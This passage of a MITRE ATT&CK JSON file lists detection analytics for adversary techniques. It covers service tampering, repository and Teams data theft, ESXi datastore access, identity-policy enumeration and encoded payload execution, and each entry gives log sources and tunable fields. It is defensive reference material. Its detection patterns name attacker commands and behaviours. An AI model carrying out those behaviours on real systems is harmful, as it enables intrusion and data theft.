                    "field": "DLLNameEntropyThreshold",
                    "description": "Entropy or name patterns to flag suspicious DLLs registered as components"
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                    "field": "ParentProcessName",
                    "description": "Restrict to DLLs loaded by w3wp.exe or invoked via AppCmd.exe"
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            "description": "Detects adversary attempts to monopolize control of compromised systems by issuing service stop commands, unloading vulnerable modules, or forcefully killing competing processes. Defenders should monitor audit logs and syslog for administrative utilities (systemctl, service, kill) being invoked outside of normal change management.",
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Commands like systemctl stop <service>, service <service> stop, or kill -9 <pid>"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f",
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                {
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                {
                    "field": "AdminUserContext",
                    "description": "Defines expected accounts permitted to execute service stop commands; deviations may be suspicious."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "name": "Analytic 1211",
            "description": "Modification or replacement of service executables due to weak file or directory permissions. Defender observes file writes to service binary paths, unexpected modifications of executables associated with registered services, and subsequent service execution of attacker-supplied binaries under elevated permissions.",
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            "x_mitre_domains": [
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
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                    "channel": "EventCode=15"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7045"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "field": "MonitoredServices",
                    "description": "List of critical services and their expected executable paths for integrity checking."
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                    "field": "HashBaseline",
                    "description": "Baseline hashes of legitimate service executables for tamper detection."
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                    "field": "TimeWindow",
                    "description": "Correlation interval between file modification of service executables and service execution."
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                {
                    "field": "PrivilegedAccounts",
                    "description": "Accounts allowed to legitimately modify service executables."
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            ],
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        },
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            "name": "Analytic 0732",
            "description": "Anomalous or bulk download activity from private or restricted repositories by non-developer or privileged accounts, often preceded by unusual login behavior (e.g., unfamiliar geo, OAuth token use, elevated API rate).",
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            "x_mitre_domains": [
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                    "name": "saas:github",
                    "channel": "repo.download, repo.clone, oauth.authorize, repo.getContent"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "saas:github",
                    "channel": "Login from unusual IP, device fingerprint, or location; access token creation from new client"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:github",
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                    "description": "Threshold for file access volume over short duration (e.g., 10+ repos accessed in <5 min)"
                },
                {
                    "field": "UserContext",
                    "description": "Role or permission profile expected to interact with repositories (e.g., developers vs. admins)"
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                    "description": "Distance or variance allowed before a login is flagged as anomalous"
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                {
                    "field": "RepoSensitivityTag",
                    "description": "Whether a repository is labeled sensitive or restricted"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "name": "Analytic 1074",
            "description": "Adversaries accessing datastore or configuration files via `vim-cmd`, `esxcli`, or SCP to extract logs, VMs, or host configurations.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "ESXi"
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                    "name": "esxis:vmkernel",
                    "channel": "Datastore Access"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:hostd",
                    "channel": "Command Execution"
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            ],
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                {
                    "field": "AccessPathRegex",
                    "description": "Regex for filtering targeted VM paths or files like *.vmdk, *.vmx."
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                {
                    "field": "InteractiveShellUsage",
                    "description": "Tune to distinguish between interactive and script-driven data access."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0459",
            "description": "Chain: (1) IdP policy/read operations by a principal (e.g., Microsoft Entra/Graph requests to read password or authentication policies); (2) adjacent risky changes (role assignment, app consent) by same principal. Use IdP audit logs.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Identity Provider"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
                    "name": "azure:audit",
                    "channel": "operation contains 'Get*Password*Policy' OR 'List*Authentication*Policy' OR 'Get-ADDefaultDomainPasswordPolicy'"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TrustedPartnerAppIds",
                    "description": "Legitimate partner apps that enumerate policies."
                },
                {
                    "field": "GeoRiskTolerance",
                    "description": "Raise risk for unusual geo or TOR/VPN egress."
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "name": "Analytic 1165",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "name": "WinEventLog:Application",
                    "channel": "High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "Windows:perfmon",
                    "channel": "Sudden spikes in CPU/Memory usage linked to specific application processes"
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            ],
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                {
                    "field": "CPUThreshold",
                    "description": "Define what percentage of CPU usage indicates abnormal behavior."
                },
                {
                    "field": "MemoryConsumptionWindow",
                    "description": "Window (e.g., 5 mins) during which sustained memory usage may be abnormal."
                },
                {
                    "field": "AppCrashFrequency",
                    "description": "Threshold for frequency of application faults within a specific interval."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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            ],
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                {
                    "field": "TokenAnomalyThreshold",
                    "description": "Threshold for anomalous token creation or renewal before alerting."
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                {
                    "field": "MonitoredAppIntegrations",
                    "description": "Applications with privileged access that should be tightly monitored for misuse."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "name": "Analytic 0892",
            "description": "Changes to security configurations such as disabling MFA requirements, reducing session token lifetimes, or turning off risk-based policies. Correlate admin logins with sudden policy downgrades.",
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                "Identity Provider"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
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                {
                    "field": "PolicyList",
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            "x_mitre_deprecated": false
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                "enterprise-attack"
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                "Linux"
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                {
                    "field": "LogPathFilter",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129",
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                },
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                    "description": "Expected parent processes for Active Setup launched binaries (e.g., explorer.exe). Deviations may indicate abuse."
                },
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                    "field": "StubPathValueEntropy",
                    "description": "Degree of randomness/uncommonness in StubPath values. High entropy may indicate obfuscation."
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                    "field": "SignedBinaryStatus",
                    "description": "Flag if launched binary in StubPath is unsigned or uncommon for baseline"
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                {
                    "field": "RegistryKeyOwner",
                    "description": "Check which user/context added the Active Setup key to detect privilege abuse"
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            "description": "Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting. Defender observes: internal mail delivery to peers with high entropy attachments, followed by click events, process initiation, or credential prompts.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "description": "Expected time between internal email and link execution or file dropper"
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                {
                    "field": "UserContext",
                    "description": "Baseline logon locations and device usage for sender accounts"
                },
                {
                    "field": "AttachmentEntropyThreshold",
                    "description": "Entropy value over which attachment is considered suspicious"
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                    "description": "Exclude known good applications (e.g. Xorg, GNOME Shell)"
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                {
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                    "description": "Typically /dev/input/event*, but tunable to match custom input buses"
                }
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            "description": "Detects suspicious inbound mail traffic where SPF/DKIM/DMARC authentication fails or where sender and return-path domains mismatch, observable in Apple Mail unified logs or MDM-controlled logging pipelines.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "name": "macos:unifiedlog",
                    "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains"
                }
            ],
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                {
                    "field": "RecipientSensitivity",
                    "description": "Allows tuning based on which users (e.g., executives, finance staff) receive stricter spoofing detection policies."
                },
                {
                    "field": "HeaderMismatchTolerance",
                    "description": "Defines tolerance for minor discrepancies in domain alignment, balancing detection with usability."
                }
            ],
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            "description": "Detects anomalous use of COM, DDE, or named pipes for execution. Correlates creation or access of IPC mechanisms (e.g., named pipes, COM objects) with unusual parent-child process relationships or code injection patterns (e.g., Office spawning cmd.exe via DDE).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_domains": [
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                    "channel": "EventCode=4663, 4670, 4656"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=17"
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                {
                    "field": "PipeNamePattern",
                    "description": "Environment-specific pipe names used legitimately vs anomalous (e.g., \\\\.\\pipe\\svcctl)."
                },
                {
                    "field": "AllowedParentChildPairs",
                    "description": "Expected parent-child process lineage to minimize false positives (e.g., explorer.exe spawning outlook.exe)."
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            "description": "Suspicious access to Microsoft Teams chat messages via eDiscovery, Graph API, or export methods after rare or compromised sign-in. Often associated with excessive file access, sensitive content review, or anomaly from expected user behavior.",
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                    "channel": "UserLoggedIn"
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            ],
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                },
                {
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                    "description": "Unusual country/IP sign-in patterns prior to Teams data export"
                },
                {
                    "field": "AccessVolume",
                    "description": "Message or file threshold for triggering alert"
                }
            ],
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        },
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            "description": "ESXi shell or guest VM tools initiate external connections via scripted traffic forwarding to Internet-based proxies. Detected by firewall or shell audit logs showing outbound connection spikes from hypervisor or guest VM to remote proxy nodes.",
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                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:vmkernel",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "conn.log"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "VMOutboundPatterns",
                    "description": "Detect when VMs communicate with Internet IPs not in workload profiles."
                },
                {
                    "field": "ProxyHostPattern",
                    "description": "Regex for proxy-related tools/scripts executed on the host."
                },
                {
                    "field": "ConnectionDirectionality",
                    "description": "Outbound only connections from ESXi to new IPs."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0cadbf9f-befa-4bd8-85b8-e5af53383953",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0863#AN1995",
                    "external_id": "AN1995"
                },
                {
                    "source_name": "Palo Alto Unit 42 Domain Shadowing 2022",
                    "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/domain-shadowing/"
                },
                {
                    "source_name": "Palo Alto Unit 42 Domain Shadowing 2022",
                    "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/domain-shadowing/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1995",
            "description": "Monitor for logged domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting.  In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nConsider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\nMonitor for queried domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
                    "name": "Domain Name",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
                    "name": "Domain Name",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811",
                    "name": "Domain Name",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0cb02d2e-dcea-4195-80e7-81ec29b4d546",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0313#AN0872",
                    "external_id": "AN0872"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-23T15:14:08.524Z",
            "name": "Analytic 0872",
            "description": "Detection of browser-based or email client-driven file creation (often from temp directories) following navigation to or execution of HTML files containing JavaScript Blob APIs or base64 Data URLs, with follow-on execution of the dropped payload. Leveraging Sysmon EventID 15 to inspect Zone.Identifier ADS for HostUrl/ReferrerUrl indicators (e.g., HostUrl=about:internet). Optional: absence of a large HTTP download record for the same URL/client in proxy logs (suggests local assembly)",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "EDR:detection",
                    "channel": "App reputation telemetry"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Time range between HTML file open and file drop + execution (e.g., 1\u201310 minutes)"
                },
                {
                    "field": "DroppedFileExtensionWatchlist",
                    "description": "Tunable list of file extensions of interest (e.g., .js, .hta, .exe)"
                },
                {
                    "field": "ParentProcessName",
                    "description": "Expected processes that may drop files (e.g., browser, Outlook); tune for normal behavior"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0de81d5a-ffba-4eba-915d-c4f4d8b30f9a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0343#AN0969",
                    "external_id": "AN0969"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0969",
            "description": "High-volume packet generation by local processes (e.g., PowerShell, cmd, curl.exe) or network service processes resulting in excessive outbound traffic over short time window, correlated with abnormal resource usage or degraded host responsiveness.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PacketRateThreshold",
                    "description": "Defines the burst threshold (e.g., 10,000 pps) above which activity should be flagged as anomalous."
                },
                {
                    "field": "TimeWindow",
                    "description": "Duration over which to aggregate and analyze flow volume."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0e2094fe-6912-4bde-9e5a-9d95c640646a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0071#AN0197",
                    "external_id": "AN0197"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0197",
            "description": "Detects remote writes or snapshots mounted from other systems into a central ESXi VMFS path or NFS store used for remote staging of files before exfiltration.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "esxi:vmkernel",
                    "channel": "VMFS file creation"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxi:vob",
                    "channel": "NFS/remote access logs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "invoked remote scripts (esxcli)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SnapshotFrequency",
                    "description": "How often snapshots are mounted or restored from peer nodes"
                },
                {
                    "field": "RemoteWriteVolume",
                    "description": "Threshold for staging behavior vs. backup/operational activity"
                },
                {
                    "field": "StorageMountPaths",
                    "description": "Common local destinations for incoming data"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0e7e1861-14be-4862-8cba-6344e6e196f2",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0665",
                    "external_id": "AN0665"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0665",
            "description": "Adversary defaces internal VM-hosted portals or web UIs by modifying static content on datastore-mounted paths.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "esxi:vmkernel",
                    "channel": "Unauthorized file modifications within datastore volumes via shell access or vCLI"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DatastoreVolumeName",
                    "description": "Each environment\u2019s VMFS/volume mounts will vary in name and path."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0e832ea1-a261-4bdd-8fc8-ae049468c347",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0087#AN0239",
                    "external_id": "AN0239"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0239",
            "description": "Detection of encoded payloads being decoded and executed in-memory using scripting tools or third-party decoders.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log stream"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "es_event_exec"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "macos:unifiedlog",
                    "channel": "memory mapping"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptContent",
                    "description": "Encoded payload content varies across adversaries."
                },
                {
                    "field": "ExecutionChain",
                    "description": "Sequence of tools or scripts executed can differ."
                },
                {
                    "field": "UserContext",
                    "description": "May depend on whether user is admin, daemon, or system account."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0e9add05-93bd-47b2-acf5-1817f03e804a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0445#AN1229",
                    "external_id": "AN1229"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1229",
            "description": "Suspicious process spawning (e.g., `rundll32`, `svchost`, `powershell`, or `netsh`) followed by network connection creation to internal hosts or uncommon external endpoints on high or non-standard ports.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Connections",
                    "channel": "Outbound Connection"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcessName",
                    "description": "Legitimate system processes that may rarely spawn network-capable child processes (e.g., `rundll32`, `svchost`)."
                },
                {
                    "field": "DestinationPort",
                    "description": "Watch for high-numbered ports or well-known proxy ports like 1080, 8080, 4444."
                },
                {
                    "field": "TimeWindow",
                    "description": "Capture unusual spikes in outbound connections over a short period."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0ea214f3-5d66-4170-b33d-58a6577bb074",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0012#AN0034",
                    "external_id": "AN0034"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0034",
            "description": "Discrepancies between VBA source code and p-code inside Office documents. Defender perspective: anomalies in file metadata streams, execution of Office processes loading macros without source code consistency, and script execution with no corresponding source metadata.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredExtensions",
                    "description": "Expand or restrict which Office file types (.docm, .xlsm, .pptm) are flagged for VBA project analysis."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate Office process execution with subsequent script execution within a narrow window."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0eb6cf59-4ba8-4cea-b64a-686ce7c69f70",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0266",
                    "external_id": "AN0266"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0266",
            "description": "Use of native tools or scripting (e.g., `usermod`, `passwd`, `groupmod`) to escalate permissions or persist access on existing users, correlated with login or process events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "auditd:SYSCALL",
                    "channel": "usermod, groupmod, passwd"
                },
                {
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                    "field": "UserContext",
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                {
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                    "field": "ParentProcessWhitelist",
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                    "field": "BrewTapsAllowList",
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                    "field": "TimeWindow",
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                {
                    "field": "TimeWindow",
                    "description": "Useful to correlate between file change and subsequent execution."
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                    "channel": "EventCode=7"
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                    "field": "TimeWindow",
                    "description": "Correlate RPC activity with remote process creation within a configurable time window (e.g., 300s)"
                },
                {
                    "field": "UserContext",
